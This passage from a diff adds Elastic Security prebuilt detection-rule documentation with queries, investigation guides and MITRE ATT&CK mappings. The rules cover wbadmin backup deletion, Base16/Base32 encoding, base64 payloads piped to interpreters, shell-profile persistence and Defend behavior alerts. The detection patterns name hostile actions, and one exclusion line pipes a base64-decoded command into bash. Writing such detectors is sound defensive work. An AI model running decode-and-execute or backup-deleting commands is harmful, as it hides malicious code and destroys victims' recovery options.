MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Cloud Instance Metadata API +** ID: T1552.005 +** Reference URL: https://attack.mitre.org/techniques/T1552/005/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Information Discovery +** ID: T1082 +** Reference URL: https://attack.mitre.org/techniques/T1082/ +* Technique: +** Name: Cloud Infrastructure Discovery +** ID: T1580 +** Reference URL: https://attack.mitre.org/techniques/T1580/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-backup-deletion-with-wbadmin.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-backup-deletion-with-wbadmin.asciidoc new file mode 100644 index 0000000000..00730dbeea --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-backup-deletion-with-wbadmin.asciidoc @@ -0,0 +1,164 @@ +[[prebuilt-rule-8-19-34-backup-deletion-with-wbadmin]] +=== Backup Deletion with Wbadmin + +Detects use of wbadmin.exe to delete backup catalogs, system state backups, or other backup data. Ransomware and other malware may do this to prevent system recovery. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Impact +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Noise: Medium +* Performance: Normal +* Threat: Ransomware +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 321 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Backup Deletion with Wbadmin* + + +Windows Server Backup stores the details about your backups (what volumes are backed up and where the backups are located) in a file called a backup catalog, which ransomware victims can use to recover corrupted backup files. Deleting these files is a common step in threat actor playbooks. + +This rule identifies the deletion of the backup catalog using the `wbadmin.exe` utility. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. +- Check if any files on the host machine have been encrypted. + + +*False positive analysis* + + +- Administrators can use this command to delete corrupted catalogs, but overall the activity is unlikely to be legitimate. + + +*Related rules* + + +- Third-party Backup Files Deleted via Unexpected Process - 11ea6bec-ebde-4d71-a8e9-784948f8e3e9 +- Volume Shadow Copy Deleted or Resized via VssAdmin - b5ea4bfe-a1b2-421f-9d47-22a75a6f2921 +- Volume Shadow Copy Deletion via PowerShell - d99a037b-c8e2-47a5-97b9-170d076827c4 +- Volume Shadow Copy Deletion via WMIC - dc9c1f74-dac3-48e3-b47f-eb79db358f57 + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Consider isolating the involved host to prevent destructive behavior, which is commonly associated with this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- If any other destructive action was identified on the host, it is recommended to prioritize the investigation and look for ransomware preparation and execution activities. +- If any backups were affected: + - Perform data recovery locally or restore the backups from replicated copies (cloud, other servers, etc.). +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (process.name : "wbadmin.exe" or ?process.pe.original_file_name == "WBADMIN.EXE") and + process.args : ("catalog", "backup", "systemstatebackup") and process.args : "delete" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ +* Technique: +** Name: Inhibit System Recovery +** ID: T1490 +** Reference URL: https://attack.mitre.org/techniques/T1490/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-base16-or-base32-encoding-decoding-activity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-base16-or-base32-encoding-decoding-activity.asciidoc new file mode 100644 index 0000000000..1fdbc3093b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-base16-or-base32-encoding-decoding-activity.asciidoc @@ -0,0 +1,194 @@ +[[prebuilt-rule-8-19-34-base16-or-base32-encoding-decoding-activity]] +=== Base16 or Base32 Encoding/Decoding Activity + +Base16 and Base32 are encoding schemes that convert binary data into text, making it easier to transmit and store. This rule monitors for Base16 or Base32 encoding and decoding activity on Linux systems. Attackers may use these encoding schemes to obfuscate malicious payloads, evade detection, and facilitate data exfiltration. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Auditd Manager +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 217 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Base16 or Base32 Encoding/Decoding Activity* + + +Base16 and Base32 are encoding schemes used to convert binary data into text, facilitating data transmission and storage. Adversaries exploit these encodings to obfuscate malicious payloads, evading detection by security systems. The detection rule identifies suspicious encoding/decoding activities on Linux systems by monitoring specific processes and actions, excluding benign uses like help or version checks. + + +*Possible investigation steps* + + +- Review the process name and arguments to confirm if the activity is related to encoding/decoding using base16 or base32, ensuring it is not a benign use case like help or version checks. +- Examine the user account associated with the process to determine if the activity aligns with their typical behavior or if it appears suspicious. +- Check the parent process of the encoding/decoding activity to identify if it was initiated by a legitimate application or a potentially malicious script or program. +- Investigate the timing and frequency of the encoding/decoding events to assess if they coincide with other suspicious activities or known attack patterns. +- Correlate the event with network activity logs to see if there is any data exfiltration attempt or communication with known malicious IP addresses or domains. +- Look into any recent changes or anomalies in the system that might indicate a compromise, such as unauthorized file modifications or new user accounts. + + +*False positive analysis* + + +- Routine administrative tasks may trigger the rule if administrators use base16 or base32 commands for legitimate data encoding or decoding. To manage this, create exceptions for specific user accounts or scripts known to perform these tasks regularly. +- Automated backup or data transfer processes might use base16 or base32 encoding as part of their operations. Identify these processes and exclude them by specifying their unique process arguments or execution paths. +- Development and testing environments often involve encoding and decoding operations for debugging or data manipulation. Exclude these environments by filtering based on hostnames or IP addresses associated with non-production systems. +- Security tools or scripts that perform regular encoding checks for data integrity or compliance purposes can also trigger false positives. Whitelist these tools by their process names or execution contexts to prevent unnecessary alerts. +- Educational or research activities involving encoding techniques may inadvertently match the rule criteria. Consider excluding known educational user groups or specific research project identifiers to reduce false positives. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent potential lateral movement or data exfiltration by the adversary. +- Terminate any suspicious processes identified by the detection rule, specifically those involving base16 or base32 encoding/decoding without benign arguments. +- Conduct a thorough review of recent system logs and process execution history to identify any additional suspicious activities or related processes. +- Remove any malicious files or payloads that have been identified as part of the encoding/decoding activity. +- Restore any affected files or systems from known good backups to ensure system integrity and data accuracy. +- Update and patch the affected system to close any vulnerabilities that may have been exploited by the adversary. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems are affected. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Elastic Defend +- Auditbeat + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Auditbeat Setup* + +Auditbeat is a lightweight shipper that you can install on your servers to audit the activities of users and processes on your systems. For example, you can use Auditbeat to collect and centralize audit events from the Linux Audit Framework. You can also use Auditbeat to detect changes to critical files, like binaries and configuration files, and identify potential security policy violations. + + +*The following steps should be executed in order to add the Auditbeat on a Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/auditbeat/current/setup-repositories.html[helper guide]. +- To run Auditbeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-docker.html[helper guide]. +- To run Auditbeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-kubernetes.html[helper guide]. +- For complete “Setup and Run Auditbeat” information refer to the https://www.elastic.co/guide/en/beats/auditbeat/current/setting-up-and-running.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and +process.name in ("base16", "base32", "base32plain", "base32hex") and +not process.args in ("--help", "--version") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Data Encoding +** ID: T1132 +** Reference URL: https://attack.mitre.org/techniques/T1132/ +* Sub-technique: +** Name: Standard Encoding +** ID: T1132.001 +** Reference URL: https://attack.mitre.org/techniques/T1132/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-base64-decoded-payload-piped-to-interpreter.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-base64-decoded-payload-piped-to-interpreter.asciidoc new file mode 100644 index 0000000000..35c18d7771 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-base64-decoded-payload-piped-to-interpreter.asciidoc @@ -0,0 +1,216 @@ +[[prebuilt-rule-8-19-34-base64-decoded-payload-piped-to-interpreter]] +=== Base64 Decoded Payload Piped to Interpreter + +This rule detects when a base64 decoded payload is piped to an interpreter on Linux systems. Adversaries may use base64 encoding to obfuscate data and pipe it to an interpreter to execute malicious code. This technique may be used to evade detection by host- or network-based security controls. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* logs-crowdstrike.fdr* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Data Source: Crowdstrike +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Encoding-Based Obfuscation +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Base64 Decoded Payload Piped to Interpreter* + + +Base64 encoding is a method to encode binary data into ASCII text, often used for data obfuscation. Adversaries exploit this by encoding malicious payloads and decoding them on a target system, piping the output to interpreters like bash or python for execution. The detection rule identifies such activities by monitoring for processes that decode Base64 and subsequently execute scripts, indicating potential malicious behavior. + + +*Possible investigation steps* + + +- Review the process command line arguments to identify the specific Base64 decoding activity, focusing on the presence of flags like `-d` or `-a` in conjunction with tools such as `base64`, `openssl`, or scripting languages like `python`, `perl`, or `ruby`. +- Examine the parent process entity ID and command line to understand the context in which the Base64 decoding was initiated, identifying any potentially suspicious parent processes. +- Investigate the subsequent interpreter process that was executed, such as `bash`, `python`, or `ruby`, to determine the nature of the script or command being run, looking for any signs of malicious activity. +- Check the timing and sequence of the processes involved to confirm if the Base64 decoding and interpreter execution occurred within the specified maxspan of 3 seconds, indicating a likely automated or scripted action. +- Analyze the host ID and any associated user accounts to determine if the activity aligns with expected behavior for that system or user, or if it suggests unauthorized access or compromise. +- Correlate the alert with other security events or logs from the same host or user to identify any additional indicators of compromise or related suspicious activities. + + +*False positive analysis* + + +- Legitimate administrative scripts may use Base64 encoding to handle data securely. Review the context of the script execution and consider excluding specific scripts or directories from monitoring if they are verified as safe. +- Automated backup or data transfer processes might use Base64 encoding for data integrity. Identify these processes and create exceptions for known, trusted applications or scripts. +- Development environments often use Base64 encoding for testing purposes. If a development tool or script is frequently triggering alerts, consider excluding the specific development environment or user accounts from this rule. +- Security tools or monitoring solutions may use Base64 encoding as part of their normal operations. Verify the source of the alert and exclude known security tools from triggering this rule. +- System updates or package installations might involve Base64 operations. Monitor the timing and context of these alerts and exclude specific update processes if they are consistently identified as false positives. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further execution of potentially malicious code and lateral movement. +- Terminate any suspicious processes identified by the detection rule, particularly those involving base64 decoding and piping to interpreters. +- Conduct a forensic analysis of the affected system to identify any additional indicators of compromise, such as unauthorized file modifications or network connections. +- Restore the system from a known good backup if malicious activity is confirmed and the integrity of the system is compromised. +- Update and patch all software and systems to mitigate vulnerabilities that could be exploited by similar techniques. +- Implement enhanced monitoring and logging for base64 decoding activities and interpreter executions to detect similar threats in the future. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if broader organizational impacts exist. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id, process.parent.entity_id with maxspan=3s + [process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "ProcessRollup2") and ( + (process.name in ("base64", "base64plain", "base64url", "base64mime", "base64pem", "base32", "base16") and process.command_line like~ "*-*d*") or + (process.name == "openssl" and process.args == "enc" and process.args in ("-d", "-base64", "-a")) or + (process.name like "python*" and + (process.args == "base64" and process.args in ("-d", "-u", "-t")) or + (process.args == "-c" and process.args like "*base64*" and process.command_line like~ "*b64decode*") + ) or + (process.name like "perl*" and process.command_line like~ "*decode_base64*") or + (process.name like "ruby*" and process.args == "-e" and process.command_line like~ "*Base64.decode64*") + )] + [process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "ProcessRollup2") and process.name like~ ( + "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "python*", "perl*", "ruby*", "lua*", "php*" + ) and + not ( + ?process.parent.command_line in ( + "bash ./run_tests.sh unit-integration", + "/bin/sh /var/lib/dpkg/info/nmap-common.postinst configure", + "bash -c base64 -d <<< Zm9yIHN2YyBpbiBxZW11LWt2bSBvdnMtdnN3aXRjaGQgbGlidmlydGQgdmlydGxvY2tkIHBhY2VtYWtlciBwY3NkOyBkbyBzeXN0ZW1jdGwgaXMtYWN0aXZlICRzdmM7IGRvbmU= | bash -l" + ) or + process.command_line == "/usr/bin/perl /usr/bin/shasum -a 256" or + ?process.working_directory like ( + "/usr/local/zeek", "/opt/zeek", "/var/lib/docker/overlay2/*/opt/zeek", "/usr/local/zeek_old_install", + "/var/lib/docker/overlay2/*/usr/local/zeek", "/proc/self/fd/*/usr/local/zeek" + ) or + (?process.parent.name == "zsh" and ?process.parent.command_line like "*extendedglob*") or + (process.name like "python*" and ?process.parent.name == "python*") or + process.args like "/tmp/apt-key-gpghome*" or + ?process.parent.executable like ("/home/*/.aimee-code/bin/claude", "/home/*/.aimee-code/bin/opencode") or + ?process.parent.command_line like "*/home/*/.claude/shell-snapshots/snapshot-*" + )] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ +* Sub-technique: +** Name: Lua +** ID: T1059.011 +** Reference URL: https://attack.mitre.org/techniques/T1059/011/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-bash-shell-profile-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-bash-shell-profile-modification.asciidoc new file mode 100644 index 0000000000..eaf72c4cf9 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-bash-shell-profile-modification.asciidoc @@ -0,0 +1,128 @@ +[[prebuilt-rule-8-19-34-bash-shell-profile-modification]] +=== Bash Shell Profile Modification + +Both ~/.bash_profile and ~/.bashrc are files containing shell commands that are run when Bash is invoked. These files are executed in a user's context, either interactively or non-interactively, when a user logs in so that their environment is set correctly. Adversaries may abuse this to establish persistence by executing malicious content triggered by a user’s shell. + +*Rule type*: query + +*Rule indices*: + +* logs-endpoint.events.file-* +* auditbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Custom Query (KQL) +* Platform: Linux +* Platform: macOS + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Bash Shell Profile Modification* + + +Bash shell profiles, such as `.bash_profile` and `.bashrc`, are scripts that configure user environments upon login. Adversaries exploit these by inserting malicious commands to ensure persistence, executing harmful scripts whenever a user initiates a shell session. The detection rule identifies unauthorized modifications by monitoring file changes and filtering out benign processes, focusing on unusual executables and paths to flag potential threats. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific file path that was modified, focusing on paths like /home/*/.bash_profile or /home/*/.bashrc. +- Examine the process name and executable that triggered the alert to determine if it is an unusual or unauthorized process, as specified in the query. +- Check the modification timestamp of the affected file to correlate with any known user activity or scheduled tasks. +- Investigate the contents of the modified Bash shell profile file to identify any suspicious or unexpected commands or scripts. +- Cross-reference the user account associated with the modified file to determine if the activity aligns with their typical behavior or if the account may be compromised. +- Look for any related alerts or logs around the same timeframe that might indicate a broader attack or persistence mechanism. + + +*False positive analysis* + + +- Frequent use of text editors like vim or nano may trigger alerts when users legitimately modify their shell profiles. To mitigate this, consider excluding these processes from the detection rule if they are commonly used in your environment. +- Automated system updates or configuration management tools like dnf or yum might modify shell profiles as part of their operations. Exclude these processes if they are verified as part of routine maintenance. +- Development tools such as git or platform-python may alter shell profiles during setup or updates. If these tools are regularly used, add them to the exclusion list to prevent false positives. +- User-specific applications located in directories like /Applications or /usr/local may be flagged if they modify shell profiles. Verify these applications and exclude their paths if they are trusted and frequently used. +- Consider excluding specific user directories from monitoring if they are known to contain benign scripts that modify shell profiles, ensuring these exclusions are well-documented and reviewed regularly. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further malicious activity and lateral movement. +- Terminate any suspicious processes identified in the alert that are not part of the allowed list, such as unauthorized executables modifying shell profiles. +- Restore the modified shell profile files (.bash_profile, .bashrc) from a known good backup to remove any malicious entries. +- Conduct a thorough review of user accounts and permissions on the affected system to ensure no unauthorized access or privilege escalation has occurred. +- Implement file integrity monitoring on critical shell profile files to detect and alert on future unauthorized changes. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected. +- Review and update endpoint protection policies to enhance detection capabilities for similar persistence techniques, leveraging MITRE ATT&CK framework references for T1546. + +==== Rule query + + +[source, js] +---------------------------------- +event.category:file and host.os.type:(linux or macos) and event.type:change and not event.action:("rename" or "extended_attributes_delete") and + file.name:(".bash_profile" or ".profile" or ".bashrc" or ".zshenv" or ".zshrc") and file.path:(/home/* or /Users/*) and + process.name:(* and not (sudo or vim or zsh or env or nano or bash or Terminal or xpcproxy or login or cat or cp or + launchctl or java or dnf or tailwatchd or ldconfig or yum or semodule or cpanellogd or dockerd or authselect or chmod or + dnf-automatic or git or dpkg or platform-python)) and + not process.executable:(/Applications/* or /private/var/folders/* or /usr/local/* or /opt/saltstack/salt/bin/*) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Unix Shell Configuration Modification +** ID: T1546.004 +** Reference URL: https://attack.mitre.org/techniques/T1546/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-behavior-detected-elastic-defend.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-behavior-detected-elastic-defend.asciidoc new file mode 100644 index 0000000000..9ee9769cf6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-behavior-detected-elastic-defend.asciidoc @@ -0,0 +1,133 @@ +[[prebuilt-rule-8-19-34-behavior-detected-elastic-defend]] +=== Behavior - Detected - Elastic Defend + +Generates a detection alert each time an Elastic Defend alert for malicious behavior is received. Enabling this rule allows you to immediately begin investigating your Endpoint behavior alerts. This rule identifies Elastic Defend behavior detections only, and does not include prevention alerts. + +*Rule type*: query + +*Rule indices*: + +* logs-endpoint.alerts-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 1m + +*Searches indices from*: now-2m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 1000 + +*References*: + +* https://github.com/elastic/protections-artifacts/tree/main/behavior +* https://docs.elastic.co/en/integrations/endpoint + +*Tags*: + +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Rule Type: Custom Query (KQL) +* Domain: Endpoint + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Behavior - Detected - Elastic Defend* + + +Malicious behavior protection is a foundational feature which can be used to protect against all manner of attacks on the endpoint. For example, it provides coverage against phishing such as malicious macros, many malware families based on their activities, privilege escalation attacks such as user account control bypasses (UAC), credential theft, and much more. It works by consuming an unfiltered feed of all events that are captured on the system (process, file, registry, network, dns, etc). These events are processed against a routinely updated set of rules written by Elastic threat experts. From there, malicious behaviors are identified and offending processes are terminated. The protection operates on the event stream asynchronously, but has been designed to be extremely efficient and typically requires just milliseconds (under standard load) to stop malicious activity. + + +*Possible investigation steps* + + +- Assess whether this activity is prevalent in your environment by looking for similar occurrences across hosts. +- Verify the detailed activity of the process that triggered the alert (process tree, child process, process arguments, network, files, libraries and registry events). +- Verify the activity of the `user.name` associated with the alert (local or remote actity, privileged or standard user). +- Particular attention should be paid to instances where the same process is triggering multiple alerts (more than 2 or 3) within a short period of time. +- Even the the process is signed by a valid certificate, verify the if it's running from the expected location or if it's loading any suspicious libraries or any sign of code injection. + + +*False positive analysis* + + +- Same alert observed on a high number of hosts with similar details. +- High count of the same alert on a specific host over a long period of time. + + +*Response and Remediation* + + +- Initiate the incident response process based on the outcome of the triage. + - If malicious activity is confirmed, perform a broader investigation to identify the scope of the compromise and determine the appropriate remediation steps. +- Implement Elastic Endpoint Security to detect 